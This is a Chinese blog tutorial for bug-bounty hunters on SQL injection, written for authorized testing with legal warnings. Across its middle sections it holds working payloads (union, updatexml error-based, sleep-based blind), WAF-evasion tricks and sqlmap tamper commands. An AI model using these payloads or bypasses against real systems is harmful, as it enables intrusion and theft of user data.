【SRC漏洞挖掘系列】第03期:SQL注入——从“拖库”到“掌舵”的终极奥义

上期回顾 :我们用 XSS 偷了 Cookie,用 CSRF 改了密码。今天要聊的是漏洞界的"常青树"------SQL注入(SQLi)。

如果说 XSS 是小偷小摸,那 SQL 注入就是直接开着卡车进了金库。💰


一、什么是 SQL 注入?(通俗版)

想象一下,你去餐厅点餐。

正常情况:

你对服务员说:"我要一份牛排(id=1)。"

服务员原话复述给厨房:SELECT * FROM food WHERE id = 1;

注入情况:

你对服务员说:"我要一份牛排,顺便把你们老板的账本拿来(id=1 AND 1=1)。"

服务员是个傻子,原封不动传给厨房:SELECT * FROM food WHERE id = 1 AND 1=1;

结果:账本(数据库)被你看到了。


二、SRC 实战中的三大杀招

在现在的 SRC 中,单纯的 ' or 1=1 --很难见了,厂商都有防火墙(WAF)。我们需要更精细的手法。

1. 联合查询(Union Base):最直观的"拖库"

适用场景:页面有"回显",即能把数据库里的数据打印在网页上。

实战案例 :某新闻站 news.php?id=1

  • Step 1: 测字段数

    不断尝试 order by 1, 2, 3...

    news.php?id=1 order by 5(正常)

    news.php?id=1 order by 6(报错)

    结论:表有 5 个字段。

  • Step 2: 爆数据

    news.php?id=-1 union select 1,2,3,4,5

    (把 id 设为 -1 是为了让前半句查空,显示后半句的结果)

    页面上出现了数字 2和 3,说明这两个位置可以显示数据。

  • Step 3: 拿管理员密码

    news.php?id=-1 union select 1,username,password,4,5 from admin

    结果:页面上直接显示了管理员的账号和密码(通常是MD5加密)。

2. 报错注入(Error Base):不需要回显的"窃听"

适用场景:页面不显示数据,但会告诉你"SQL语句执行错误"。

经典函数 :updatexml(), extractvalue()

  • Payload:

    sql 复制代码
    ' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --
  • 解释:

    • updatexml本来是用来修改XML的。

    • 我们给它传了一个错误的格式 (~),它会报错。

    • 报错的时候,它会把括号里 (select database())的结果(当前数据库名)吐出来。

3. 盲注(Blind Injection):最磨人的"猜谜"

适用场景:页面只显示"正常"或"异常",没有具体数据,也不报错。

原理:问数据库是不是"对"的。

if(1=1, sleep(5), null)------ 如果是真的,就睡5秒。

  • 实战:

    你输入:id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),null)

    如果页面卡了5秒,说明数据库名的第一个字母 ASCII 码是 115(即 's')。

    SRC提示 :盲注太慢,容易被封 IP,但在WAF 严格的情况下,这是唯一的出路。


三、绕过 WAF 的"猥琐流"技巧

现在的 SRC 都有云 WAF(阿里云盾、腾讯云盾),直接 union select会被秒拦。

1. 注释符大法

sql 复制代码
/*!50001 union*/ select  -- 版本内联注释,欺骗老版本解析器
union/*!--+/*%0a/*//*!select*/ 1,2,3

2. 编码绕过

  • URL编码 :%75%6e%69%6f%6e(union)

  • 十六进制 :把表名 admin转换成 0x61646d696e。

3. 分块传输(Chunked Transfer)

这是绕过 关键词过滤​ 的神技。

原理:把 POST 数据包拆成一小块一小块发给服务器,WAF 拼不起来,就检测不到 union select,但后端 PHP/JAVA 会把它拼起来执行。

  • 工具 :Burp Suite 插件 Chunked coding converter。

四、SQLMap 的正确打开方式(SRC 专用)

新手才直接 sqlmap -u url,老手都是这样玩的:

  1. 伪装身份:

    bash 复制代码
    sqlmap -u "url" --random-agent --delay 1

    (随机 User-Agent,延迟1秒,防止被封 IP)

  2. 指定参数:

    bash 复制代码
    sqlmap -u "url" -p "id" --level 3

    (只测 id 参数,减少流量噪音)

  3. Tamper 脚本(绕过 WAF 的核心):

    bash 复制代码
    sqlmap -u "url" --tamper=space2comment,charencode

五、SRC 报告里的"加分项"与"雷区"

行为 结果
只报 Root 权限​ 厂商喜欢,给钱爽快。
**报 information_schema**​ 厂商会骂你,因为这是系统库,没什么用。
**读写文件 (into outfile)**​ **高风险!**​ 未经授权尝试写文件可能导致你被请去喝茶(违法)。
拖取大量真实用户数据​ **绝对禁止!**​ 证明漏洞存在即可,切勿泄露用户隐私。

正确做法:

证明你能读取 admin表的用户名即可,或者读取系统版本。截图打码,保护用户数据。


六、互动与思考

💬 互动话题:

大家在挖 SQL 注入时,遇到过最奇葩的 WAF 拦截页面是什么样的?是直接把 IP 封了,还是返回一首诗?😂


⚠️ 法律红线警示

  1. 严禁 利用 SQL 注入漏洞进行"拖库"(下载大量用户数据),这涉嫌侵犯公民个人信息罪。

  2. 严禁 尝试 drop table、into outfile等具有破坏性或写入权限的操作。

  3. 验证即可:只需证明可以读取数据库名、版本号或少量非敏感数据即可停止。

  4. 授权测试:所有测试必须在 SRC 平台报备的资产范围内进行。

    **白帽子的底线是保护数据,而不是窃取数据。做一个有操守的技术人。**​ 🙏

下一期,我们将聊聊 **"文件上传与解析漏洞"**​ ------ 如何把一张图片变成控制服务器的"特洛伊木马"?敬请期待!

相关推荐
流烟默4 小时前
A2A 与 MCP 双协议网关设计指南
安全·agent·mcp·a2a
草莓熊Lotso6 小时前
【C++ 基于微服务的即时通讯系统】etcd + brpc 从安装到服务注册发现全链路实战
网络·数据库·c++·redis·微服务·etcd
Lethehong12 小时前
Oracle 加个字段,目标库就报错?KFS 用“先拆后组“打通异构 DDL
数据库·oracle
无障碍研究院12 小时前
2026TADC|圆桌对话:出海无障碍合规
安全·web安全
Web极客码12 小时前
锁定真正的磁盘卡顿:我用 OpenCode 配合 eBPF 诊断 NVMe 队列深度延迟与 I/O 写放大
数据库·oracle
持敬chijing13 小时前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
cspttty13 小时前
2027用户研究求职准备:应用统计学如何补齐研究设计与业务表达
大数据·数据库
无障碍研究院13 小时前
2026TADC|圆桌对话:软/硬件无障碍的过去、现在、未来
安全
乔旭伟13 小时前
Linux 服务器安全加固实战:SSH、防火墙、补丁与入侵排查
linux·服务器·安全
roman_日积跬步-终至千里14 小时前
【数据Agent论文·查询与语义|05】Spider:为什么换一个数据库,模型就不会查了?
数据库·数据分析